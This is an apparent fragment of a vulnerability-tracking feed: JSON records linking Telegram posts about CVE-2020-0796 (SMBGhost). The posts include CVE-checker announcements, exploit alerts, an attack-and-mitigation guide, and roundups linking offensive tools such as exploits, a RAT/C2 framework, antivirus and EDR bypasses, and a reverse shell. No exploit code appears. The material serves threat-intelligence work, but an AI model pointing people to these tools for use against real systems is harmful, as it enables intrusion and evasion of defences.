\u0627\u0644\u0643\u0627\u0641\u064a\u0629 \u0644\u062a\u062e\u0637\u064a \u0627\u0644\u062d\u0645\u0627\u064a\u0627\u062a \u0627\u0644\u0644\u064a \u0645\u0627\u064a\u0643\u0631\u0648\u0633\u0648\u0641\u062a \u062d\u0637\u062a\u0647\u0627 \u0641\u064a \u0627\u0644\u0646\u0638\u0627\u0645 \u0648\u0627\u0644\u0644\u064a \u0628\u0646\u0635\u062d \u0628\u064a\u0647 \u0623\u064a \u062d\u062f \u0628\u064a\u0634\u062a\u063a\u0644 \u0641\u064a \u0627\u0644\u0645\u062c\u0627\u0644 \u062f\u0647 \u0625\u0646\u0647 \u062f\u0627\u064a\u0645\u0627 \u064a\u0637\u0644\u0639 \u0639\u0644\u0649 \u0643\u0644 \u062c\u062f\u064a\u062f \u0648\u064a\u062d\u0627\u0648\u0644 \u064a\u0641\u0647\u0645 \u062a\u0641\u0627\u0635\u064a\u0644 \u0623\u0643\u062a\u0631 \u0639\u0646 \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644\u0627\u062a \u0648\u0627\u0644\u0646\u0638\u0645 \u0627\u0644\u0644\u064a \u0628\u064a\u0634\u062a\u063a\u0644 \u0639\u0644\u064a\u0647\u0627 \u0639\u0634\u0627\u0646 \u064a\u0642\u062f\u0631 \u064a\u0643\u062a\u0628 Exploits \u0646\u0627\u062c\u062d\u0629 \u0648\u0645\u0624\u062b\u0631\u0629\n\n\u0631\u0627\u0628\u0637 \u0627\u0644\u0640EXPLOIT", "creation_timestamp": "2024-07-12T07:52:20.000000Z"}, {"uuid": "5c937e58-16fd-44b1-88bc-5b68e612ce4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/ax7vss3k4Fudn4O23Fyb93CBJGJfyLErOwidHMCmbM6p89Wn", "content": "", "creation_timestamp": "2025-02-06T02:41:37.000000Z"}, {"uuid": "19d1de43-b514-4931-83da-50844a428f89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/pt_soft/270", "content": "\ud83d\uddbc\ufe0f \ud83d\udd04 Moriarty v1.2\n\n\u0427\u0435\u043a\u0435\u0440 CVEs \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 C# \u0434\u043b\u044f \u041e\u0421 \ud83c\udfe0 Windows\n\n\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438:\nWindows 10 (Versions: 1507, 1511, 1607, 1703, 1709, 1803, 1809, 1903, 1909, 2004, 20H2, 21H1, 21H2, 22H1, 22H2)\nWindows 11 (Versions: 21H2, 22H1, 22H2, 23H1)\nWindows Server 2016, 2019, 2022\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (35):\nMS10-015\nMS10-092\nMS13-053\nMS13-081\nMS14-058\nMS15-051\nMS15-078\nMS16-016\nMS16-032\nMS16-034\nMS16-135\nCVE-2017-7199\nCVE-2019-0836\nCVE-2019-0836\nCVE-2019-1064\nCVE-2019-1130\nCVE-2019-1253\nCVE-2019-1315\nCVE-2019-1385\nCVE-2019-1388\nCVE-2019-1405\nCVE-2020-0668\nCVE-2020-0683\nCVE-2020-0796\nCVE-2020-1013\nCVE-2020-1013\nCVE-2021-26855\nCVE-2021-26857\nCVE-2021-26858\nCVE-2021-27065\nCVE-2021-44228\nCVE-2021-36934\nCVE-2022-40140\nCVE-2022-22965\nCVE-2023-36664\n\n1.2 added:\n2023-23397\n2022-34718\n\n\ud83d\udc49 \u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\n\u0422\u0430\u043a\u0436\u0435 \u0431\u043e\u0442 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0438\u0441\u043a \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u043f\u043e CVE\n\n!poc CVE-2019-1064\n\n\ud83d\udcbb Home\n\n\u0414\u043b\u044f \u0441\u0431\u043e\u0440\u043a\u0438 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f Visual Studio \u0438 .NET Framework 4.8 Developer Pack\n\n#moriarty #checker #csharp\n\n\u2708\ufe0f // Pentest HaT \ud83c\udfa9", "creation_timestamp": "2024-05-03T09:04:40.000000Z"}, {"uuid": "86366e29-2934-4d04-bd7b-6637b6f577c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/pt_soft/243", "content": "\ud83d\uddbc\ufe0f Moriarty v1.1\n\n\u0427\u0435\u043a\u0435\u0440 CVEs \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 C# \u0434\u043b\u044f \u041e\u0421 \ud83c\udfe0 Windows\n\n\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438:\nWindows 10 (Versions: 1507, 1511, 1607, 1703, 1709, 1803, 1809, 1903, 1909, 2004, 20H2, 21H1, 21H2, 22H1, 22H2)\nWindows 11 (Versions: 21H2, 22H1, 22H2, 23H1)\nWindows Server 2016, 2019, 2022\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (35):\nMS10-015\nMS10-092\nMS13-053\nMS13-081\nMS14-058\nMS15-051\nMS15-078\nMS16-016\nMS16-032\nMS16-034\nMS16-135\nCVE-2017-7199\nCVE-2019-0836\nCVE-2019-0836\nCVE-2019-1064\nCVE-2019-1130\nCVE-2019-1253\nCVE-2019-1315\nCVE-2019-1385\nCVE-2019-1388\nCVE-2019-1405\nCVE-2020-0668\nCVE-2020-0683\nCVE-2020-0796\nCVE-2020-1013\nCVE-2020-1013\nCVE-2021-26855\nCVE-2021-26857\nCVE-2021-26858\nCVE-2021-27065\nCVE-2021-44228\nCVE-2021-36934\nCVE-2022-40140\nCVE-2022-22965\nCVE-2023-36664\n\n\ud83d\udc49 \u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\n\u0422\u0430\u043a\u0436\u0435 \u0431\u043e\u0442 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0438\u0441\u043a \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u043f\u043e CVE\n\n!poc CVE-2019-1064\n\n\ud83d\udcbb Home\n\n\u0414\u043b\u044f \u0441\u0431\u043e\u0440\u043a\u0438 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f Visual Studio \u0438 .NET Framework 4.8 Developer Pack\n\n#moriarty #checker #csharp\n\n\u2708\ufe0f // Pentest HaT \ud83c\udfa9", "creation_timestamp": "2024-03-15T08:58:02.000000Z"}, {"uuid": "3af01c38-b3c9-41a0-bf32-16f2fb7f73d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/arpsyndicate/1180", "content": "#ExploitObserverAlert\n\nCVE-2020-0796\n\nDESCRIPTION: Exploit Observer has 376 entries related to CVE-2020-0796. A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability'.\n\nFIRST-EPSS: 0.974840000\nNVD-IS: 6.0\nNVD-ES: 3.9", "creation_timestamp": "2023-12-04T10:30:11.000000Z"}, {"uuid": "e0e946d0-f1e9-49d6-bb9c-5ffaa12b6141", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/arpsyndicate/187", "content": "#ExploitObserverAlert\n\nCVE-2020-0796\n\nDESCRIPTION: Exploit Observer has 357 entries related to CVE-2020-0796. A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability'.\n\nFIRST-EPSS: 0.974840000\nNVD-IS: 6.0\nNVD-ES: 3.9", "creation_timestamp": "2023-11-17T03:20:23.000000Z"}, {"uuid": "9ea940a3-5cd2-4343-96d6-1e444cbd4f02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/arpsyndicate/157", "content": "#ExploitObserverAlert\n\nCVE-2020-0796\n\nDESCRIPTION: Exploit Observer has 357 entries related to CVE-2020-0796. A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability'.\n\nFIRST-EPSS: 0.974840000\nNVD-IS: 6.0\nNVD-ES: 3.9", "creation_timestamp": "2023-11-13T19:06:56.000000Z"}, {"uuid": "b07d59c6-93d6-45da-9d8e-0dc53b6259ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/arpsyndicate/1782", "content": "#ExploitObserverAlert\n\nCVE-2020-0796\n\nDESCRIPTION: Exploit Observer has 376 entries related to CVE-2020-0796. A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability'.\n\nFIRST-EPSS: 0.974840000\nNVD-IS: 6.0\nNVD-ES: 3.9", "creation_timestamp": "2023-12-12T01:05:41.000000Z"}, {"uuid": "5804c8cc-b6a8-480f-b541-9c62e2b87612", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/arpsyndicate/753", "content": "#ExploitObserverAlert\n\nCVE-2020-0796\n\nDESCRIPTION: Exploit Observer has 374 entries related to CVE-2020-0796. A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability'.\n\nFIRST-EPSS: 0.974840000\nNVD-IS: 6.0\nNVD-ES: 3.9", "creation_timestamp": "2023-11-29T14:33:01.000000Z"}, {"uuid": "c9d38511-58a3-4d40-9f7c-e93f9944e733", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/netrunnerz/369", "content": "CVE-2020-0796\n\nWindows SMBv3 LPE Exploit\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0441\u043f\u043e\u0441\u043e\u0431\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u043c Microsoft SMB 3.1.1. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0439\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0414\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043d\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 SMBv3-\u0441\u0435\u0440\u0432\u0435\u0440. \u0427\u0442\u043e\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 SMBv3-\u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u043d\u0435\u043c\u0443.\n\n#CVE #POC", "creation_timestamp": "2022-12-17T11:53:07.000000Z"}, {"uuid": "b3d113c8-8c3b-47a4-8005-305a27d87378", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "Telegram/8v2C0HPDKxCthCigBf6WGQMYLcxbm8CzE8VEj9vEGCbIDTI", "content": "", "creation_timestamp": "2025-04-20T23:00:05.000000Z"}, {"uuid": "f71cbede-6502-4c0c-9abc-8f4934e6eafb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/2189", "content": "#Tool \ud835\udddb\ud835\uddee\ud835\uddf0\ud835\uddf8\ud835\uddf2\ud835\uddff\ud835\ude00 \ud835\uddd9\ud835\uddee\ud835\uddf0\ud835\ude01\ud835\uddfc\ud835\uddff\ud835\ude06\n\nConfuser\n\nA tool to detect Dependency Confusion vulnerabilities. It allows scanning packages.json files, generating and publishing payloads to the NPM repository, and finally aggregating the callbacks from vulnerable targets.\n\nhttps://github.com/doyensec/confuser\n\nDependency Confusion:\nhttps://blog.doyensec.com//2022/07/21/dependency-confusion.html\n\n\u200b\u200bNinjaDroid\n\nSimple tool to reverse engineering #Android APK packages.\n\nhttps://github.com/rovellipaolo/NinjaDroid\n\n\u200b\u200bSMBaloo\n\nA CVE-2020-0796 (aka \"SMBGhost\") exploit for Windows ARM64.\n\nhttps://github.com/msuiche/smbaloo\n\n#cve\n\n\u200b\u200bMerlin\n\nPost-exploit Command & Control (C2) tool, also known as a Remote Access Tool (RAT), that communicates using the HTTP/1.1, HTTP/2, and HTTP/3 protocols. HTTP/3 is the combination of HTTP/2 over the Quick UDP Internet Connections (QUIC) protocol. \n\nThis tool was the result of my work evaluating HTTP/2 in a paper titled Practical Approach to Detecting and Preventing Web Application Attacks over HTTP/2. Merlin is also my first attempts at learning Golang.\n\nhttps://github.com/MythicAgents/merlin\n\nDocs:\nhttps://merlin-c2.readthedocs.io/en/latest/index.html\n\n#redteam\n\n\u200b\u200bysoserial.net\n\nA proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.\n\nhttps://github.com/pwntester/ysoserial.net\n\n\u200b\u200bMsfMania\n\nCommand line tool developed in Python that is designed to bypass antivirus software on Windows and Linux/Mac in the future.\n\nhttps://github.com/G1ft3dC0d3/MsfMania\n\n\u200b\u200bInvoke-Obfuscation\n\nPowerShell v2.0+ compatible PowerShell command and script obfuscator.\n\nhttps://github.com/danielbohannon/Invoke-Obfuscation\n\nCode #obfuscation through Mixed Boolean-Arithmetic expressions.\n\nhttps://github.com/arnaugamez/talks/tree/master/2021/00_intent\n\n\u200b\u200bHook\n\nHook exploits a parameter injection vulnerability in the WatchGuard SSH interface. The vulnerability allows a low privileged user to exfiltrate arbitrary system files to an attacker controlled FTP server. \n\nFortunately, there is a builtin low privileged user named status that this script defaults to. It isn't unreasonable to assume that the status user will use a password of readonly, but it isn't required.\n\nhttps://github.com/jbaines-r7/hook\n\nOffensive-Carbon\n\nWeaponizing Carbon Lang for #RedTeam operation\n\nhttps://github.com/ArchonLabs/Offensive-Carbon\n\n\u200b\u200bpivotnacci\n\nPivot into the internal network by deploying HTTP agents. Pivotnacci allows you to create a socks server which communicates with HTTP agents. The architecture looks like the following:\n\nThis tool was inspired by the great reGeorg. However, it includes some improvements:\n\n\u25ab\ufe0f Support for balanced servers\n\u25ab\ufe0f Customizable polling interval, useful to reduce detection rates\n\u25ab\ufe0f Auto drop connections closed by a server\n\u25ab\ufe0f Modular and cleaner code\n\u25ab\ufe0f Installation through pip\n\u25ab\ufe0f Password-protected agents\n\nhttps://github.com/blackarrowsec/pivotnacci\n\n\ud835\udddb\ud835\uddee\ud835\uddf0\ud835\uddf8\ud835\uddf2\ud835\uddff\ud835\ude00 \ud835\uddd9\ud835\uddee\ud835\uddf0\ud835\ude01\ud835\uddfc\ud835\uddff\ud835\ude06\nwww.ghostclan.org", "creation_timestamp": "2022-12-27T09:59:54.000000Z"}, {"uuid": "e0f494bd-fde6-495e-82c9-3aac2753ed1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/-yKf1Dz2fhlRkuZLHiEFtdhHKIVovzy35IoMgcEk0nkl9Q", "content": "", "creation_timestamp": "2020-03-11T20:57:20.000000Z"}, {"uuid": "e4b31861-39a3-4970-ae1b-0b3723d96732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/259", "content": "#Tool \ud835\udddb\ud835\uddee\ud835\uddf0\ud835\uddf8\ud835\uddf2\ud835\uddff\ud835\ude00 \ud835\uddd9\ud835\uddee\ud835\uddf0\ud835\ude01\ud835\uddfc\ud835\uddff\ud835\ude06\n\nConfuser\n\nA tool to detect Dependency Confusion vulnerabilities. It allows scanning packages.json files, generating and publishing payloads to the NPM repository, and finally aggregating the callbacks from vulnerable targets.\n\nhttps://github.com/doyensec/confuser\n\nDependency Confusion:\nhttps://blog.doyensec.com//2022/07/21/dependency-confusion.html\n\n\u200b\u200bNinjaDroid\n\nSimple tool to reverse engineering #Android APK packages.\n\nhttps://github.com/rovellipaolo/NinjaDroid\n\n\u200b\u200bSMBaloo\n\nA CVE-2020-0796 (aka \"SMBGhost\") exploit for Windows ARM64.\n\nhttps://github.com/msuiche/smbaloo\n\n#cve\n\n\u200b\u200bMerlin\n\nPost-exploit Command & Control (C2) tool, also known as a Remote Access Tool (RAT), that communicates using the HTTP/1.1, HTTP/2, and HTTP/3 protocols. HTTP/3 is the combination of HTTP/2 over the Quick UDP Internet Connections (QUIC) protocol. \n\nThis tool was the result of my work evaluating HTTP/2 in a paper titled Practical Approach to Detecting and Preventing Web Application Attacks over HTTP/2. Merlin is also my first attempts at learning Golang.\n\nhttps://github.com/MythicAgents/merlin\n\nDocs:\nhttps://merlin-c2.readthedocs.io/en/latest/index.html\n\n#redteam\n\n\u200b\u200bysoserial.net\n\nA proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.\n\nhttps://github.com/pwntester/ysoserial.net\n\n\u200b\u200bMsfMania\n\nCommand line tool developed in Python that is designed to bypass antivirus software on Windows and Linux/Mac in the future.\n\nhttps://github.com/G1ft3dC0d3/MsfMania\n\n\u200b\u200bInvoke-Obfuscation\n\nPowerShell v2.0+ compatible PowerShell command and script obfuscator.\n\nhttps://github.com/danielbohannon/Invoke-Obfuscation\n\nCode #obfuscation through Mixed Boolean-Arithmetic expressions.\n\nhttps://github.com/arnaugamez/talks/tree/master/2021/00_intent\n\n\u200b\u200bHook\n\nHook exploits a parameter injection vulnerability in the WatchGuard SSH interface. The vulnerability allows a low privileged user to exfiltrate arbitrary system files to an attacker controlled FTP server. \n\nFortunately, there is a builtin low privileged user named status that this script defaults to. It isn't unreasonable to assume that the status user will use a password of readonly, but it isn't required.\n\nhttps://github.com/jbaines-r7/hook\n\nOffensive-Carbon\n\nWeaponizing Carbon Lang for #RedTeam operation\n\nhttps://github.com/ArchonLabs/Offensive-Carbon\n\n\u200b\u200bpivotnacci\n\nPivot into the internal network by deploying HTTP agents. Pivotnacci allows you to create a socks server which communicates with HTTP agents. The architecture looks like the following:\n\nThis tool was inspired by the great reGeorg. However, it includes some improvements:\n\n\u25ab\ufe0f Support for balanced servers\n\u25ab\ufe0f Customizable polling interval, useful to reduce detection rates\n\u25ab\ufe0f Auto drop connections closed by a server\n\u25ab\ufe0f Modular and cleaner code\n\u25ab\ufe0f Installation through pip\n\u25ab\ufe0f Password-protected agents\n\nhttps://github.com/blackarrowsec/pivotnacci\n\n\ud835\udddb\ud835\uddee\ud835\uddf0\ud835\uddf8\ud835\uddf2\ud835\uddff\ud835\ude00 \ud835\uddd9\ud835\uddee\ud835\uddf0\ud835\ude01\ud835\uddfc\ud835\uddff\ud835\ude06\nwww.ghostclan.org", "creation_timestamp": "2022-12-27T09:59:54.000000Z"}, {"uuid": "cd247401-96df-4de3-85f6-0a23588748b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/pHQFnbMvCS4mBi_52yyeHAIHYFk9gFz4_M5wCYmj8kARmA", "content": "", "creation_timestamp": "2022-07-24T09:35:20.000000Z"}, {"uuid": "8b267822-e046-46ac-aa6a-9b96253953aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "Telegram/7P6uGWxCDBAyBwPefDkaZ3RRva7RRh8YPkE0EO9VJ3hASmA", "content": "", "creation_timestamp": "2024-08-24T19:27:26.000000Z"}, {"uuid": "5d3dad05-7251-4b5a-aaa2-7d3664acc474", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3071", "content": "Tools - Hackers Factory \n\nRuy-Lopez\n\nThis repository contains the Proof-of-Concept(PoC) for a new approach to completely prevent DLLs from being loaded into a newly spawned process. The initial use-case idea was to block AV/EDR vendor DLLs from being loaded, so that userland hooking based detections are bypassed.\n\nhttps://github.com/S3cur3Th1sSh1t/Ruy-Lopez\n\n#infosec #pentesting #redteam\n\nCymulate Framework\n\nA framework to help #redteam construct fully customizable and automated APT attacks easily.\n\nhttps://github.com/opabravo/cymulate-framework\n\n#cybersecurity #infosec #pentesting\n\nAttacking WPA3\n\nNew Vulnerabilities & Exploit Framework!\n\nhttps://github.com/domienschepers/wifi-framework\n\nDetails:\nhttps://conference.hitb.org/hitbsecconf2022sin/session/attacking-wpa3-new-vulnerabilities-and-exploit-framework/\n\n#cybersecurity #infosec #pentesting\n\nSshimpanzee\n\nA reverse shell based on sshd supporting DNS and ICMP Tunnelling as well as HTTP and Socks Proxies.\n\nhttps://github.com/lexfo/sshimpanzee\n\n#infosec #pentesting #redteam\n\nMihari\n\nA tool for #OSINT based threat hunting.\n\nhttps://github.com/ninoseki/mihari\n\nCVE-2023-33246\n\nApache rocketmq remote code execution vulnerability.\n\nhttps://github.com/I5N0rth/CVE-2023-33246\n\n#cve #cybersecurity #infosec\n\nRISC-V: Emoji Shellcoding\n\nThis tool \u2692 helps design RISC-V (both 32-bit and 64-bit) shellcodes capable of running arbitrary code, whose ASCII binary representation use only Unicode UTF-8 emojis \ud83e\udd2f.\n\nhttps://github.com/RischardV/emoji-shellcoding\n\n#cybersecurity #infosec #redteam\n\nCQ\n\nCode Query, a universal code security scanning tool.\n\nhttps://github.com/nccgroup/cq\n\n#cybersecurity #infosec\n\nCVE-2020-0796\n\nWindows Protocol TestSuites is to trigger BSoD (full #exploit).\n\nhttps://github.com/Ajomix/CVE-2020-0796\n\n#cve #cybersecurity #infosec\n\nRed Teaming & Pentesting checklists for various engagements\n\nEven though, a penetration test is a creative process most people maintain private checklists to ensure that they will not forget to test networks, systems and applications against various scenarios and maintain the overall quality of the assessment.\n\nhttps://github.com/netbiosX/Checklists\n\n#cybersecurity #infosec\n\nhttps://t.me/dilagrafie\nhttps://t.me/HackerFactory", "creation_timestamp": "2023-05-30T15:17:54.000000Z"}, {"uuid": "415cc31b-c28c-4d3b-9ab4-fa68e849d0d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/ZerodayExploitware/1328", "content": "\u27a1\ufe0fSMB GHOST GUIDE\u27a1\ufe0f\n\nSMB Ghost (CVE-2020-0796) is a critical vulnerability found in the Microsoft Server Message Block (SMB) protocol, which is primarily used for file and printer sharing in Windows environments. \n\n\ud83d\udc8eAttack Procedure:\n\n\ud83d\udda5Exploiting the Vulnerability: The attacker sends a specially crafted packet to the target system's SMBv3 server, exploiting the SMB Ghost vulnerability.\n\n\ud83d\udda5Remote Code Execution: By successfully exploiting the vulnerability, the attacker gains the ability to execute arbitrary code on the target system, essentially taking control of it.\n\n\ud83d\udda5Spreading Malware: Once the attacker gains control, they can deploy various malicious payloads.\n\n\ud83d\udca1Prevention Methods:\n\n\ud83d\udda5Patching and Updating: It is crucial to keep your systems and software up to date with the latest security patches. Microsoft promptly released a patch to address the SMB Ghost vulnerability. Ensure that all affected systems are patched to the latest version.\n\n\ud83d\udda5Network Segmentation: Implementing network segmentation can help contain the impact of potential attacks. By isolating critical systems from less secure ones, you reduce the attack surface and limit an attacker's ability to move laterally across your network.\n\n\ud83d\udda5Firewall Configuration: Configure firewalls to restrict access to SMB ports (such as TCP 445 and UDP 445) from external networks. Limiting SMB traffic to only necessary and trusted sources helps prevent unauthorized access.\n\n\ud83d\udda5Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS): Utilize IDS or IPS solutions to detect and block any attempt to exploit the SMB Ghost vulnerability. \n\n\ud83d\udda5User Awareness and Training: Educate users about phishing attacks and social engineering techniques.\n\n\ud83d\udda5Disable SMBv3 Compression: If not strictly necessary, consider disabling SMBv3 compression to mitigate the risk of SMB Ghost attacks. Disabling this feature can prevent potential exploitation.\n\n\u2618Pass: @its_me_kali \n\n\u2661 \u3164\u00a0\u00a0\u00a0 \u274d\u3164\u00a0\u00a0\u00a0 \u2399\u3164\u00a0 \u2332\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 